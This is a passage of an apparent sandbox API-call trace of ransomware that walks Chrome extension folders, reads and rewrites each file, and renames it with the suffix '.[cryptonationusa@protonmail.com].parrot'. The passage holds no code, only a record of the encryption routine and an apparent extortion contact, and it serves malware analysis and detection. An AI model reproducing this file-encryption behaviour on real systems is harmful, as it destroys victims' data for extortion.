ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.937] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x844eed30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844eed30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7c1db00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x0, dwReserved1=0x0, cFileName="computed_hashes.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="COMPUT~1.PAR")) returned 1 [0070.937] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0070.937] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8401b790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb762a400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb762a400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.937] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84234950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb75de140, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_128.png.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ICON_1~1.PAR")) returned 1 [0070.938] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0070.939] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x844bb8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844c0700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844c0700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.950] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8401b790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb762a400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb762a400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1_0", cAlternateFileName="")) returned 1 [0070.950] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8401b790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb762a400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb762a400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1_0", cAlternateFileName="")) returned 0 [0070.951] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0070.956] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.956] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x862fc2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86322450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86322450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.956] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.956] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.956] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x862fc2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.4_0", cAlternateFileName="")) returned 1 [0070.956] lstrcmpW (lpString1="1.4_0", lpString2=".") returned 1 [0070.956] lstrcmpW (lpString1="1.4_0", lpString2="..") returned 1 [0070.957] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0071.012] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.012] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x862fc2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.015] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.015] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.015] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x862fc2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0x0, dwReserved1=0x0, cFileName="128.png", cAlternateFileName="")) returned 1 [0071.017] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1490, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.017] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.017] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0071.019] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.020] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1378, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x1378, lpOverlapped=0x0) returned 1 [0071.021] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.022] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1490, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.022] CloseHandle (hObject=0x27c) returned 1 [0071.023] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.025] GetFileType (hFile=0x27c) returned 0x1 [0071.025] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0071.037] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x121b, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.037] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.038] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0071.039] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.039] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1103, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x1103, lpOverlapped=0x0) returned 1 [0071.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0071.040] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0071.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0071.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0071.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0071.040] GetLastError () returned 0x0 [0071.040] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0071.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0071.040] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0071.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0071.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0071.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0071.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0071.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0071.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0071.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0071.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0071.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0071.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0071.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0071.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0071.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0071.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0071.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0071.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0071.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0071.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0071.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0071.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0071.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0071.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x69a868 [0071.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0071.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x69a9b0 [0071.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a868 | out: hHeap=0x5b0000) returned 1 [0071.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x69ab98 [0071.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a9b0 | out: hHeap=0x5b0000) returned 1 [0071.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x68d248 [0071.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69ab98 | out: hHeap=0x5b0000) returned 1 [0071.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x69a868 [0071.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68d248 | out: hHeap=0x5b0000) returned 1 [0071.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x68d248 [0071.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a868 | out: hHeap=0x5b0000) returned 1 [0071.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x681240 [0071.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68d248 | out: hHeap=0x5b0000) returned 1 [0071.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0071.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681240 | out: hHeap=0x5b0000) returned 1 [0071.042] WriteFile (in: hFile=0x27c, lpBuffer=0x5cee60*, nNumberOfBytesToWrite=0x1228, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x5cee60*, lpNumberOfBytesWritten=0x18e024*=0x1228, lpOverlapped=0x0) returned 1 [0071.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0071.042] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x121b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.042] CloseHandle (hObject=0x27c) returned 1 [0071.044] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0071.044] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x69a868 [0071.044] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669250 | out: hHeap=0x5b0000) returned 1 [0071.044] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.045] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a868 | out: hHeap=0x5b0000) returned 1 [0071.045] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67e640 | out: hHeap=0x5b0000) returned 1 [0071.045] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x682280 | out: hHeap=0x5b0000) returned 1 [0071.045] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x689470 [0071.045] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0071.045] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0071.045] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0071.050] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x46e, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.050] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.051] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0071.080] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.080] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x356, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x356, lpOverlapped=0x0) returned 1 [0071.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0071.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0071.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0071.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0071.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0071.081] GetLastError () returned 0x0 [0071.081] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0071.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0071.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0071.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0071.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0071.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0071.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0071.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0071.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0071.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0071.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0071.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0071.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0071.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0071.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0071.082] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0071.082] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0071.082] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0071.082] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0071.082] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0071.082] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0071.082] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0071.082] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0071.082] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0071.082] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x69af20 [0071.082] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0071.082] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x69b068 [0071.082] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69af20 | out: hHeap=0x5b0000) returned 1 [0071.082] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x68d248 [0071.082] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69b068 | out: hHeap=0x5b0000) returned 1 [0071.082] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x68d518 [0071.082] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68d248 | out: hHeap=0x5b0000) returned 1 [0071.082] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x68d950 [0071.082] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68d518 | out: hHeap=0x5b0000) returned 1 [0071.082] WriteFile (in: hFile=0x27c, lpBuffer=0x68d950*, nNumberOfBytesToWrite=0x478, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x68d950*, lpNumberOfBytesWritten=0x18e024*=0x478, lpOverlapped=0x0) returned 1 [0071.083] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68d950 | out: hHeap=0x5b0000) returned 1 [0071.083] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x46e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.083] CloseHandle (hObject=0x27c) returned 1 [0071.084] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0071.084] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x69af20 [0071.084] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669250 | out: hHeap=0x5b0000) returned 1 [0071.084] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 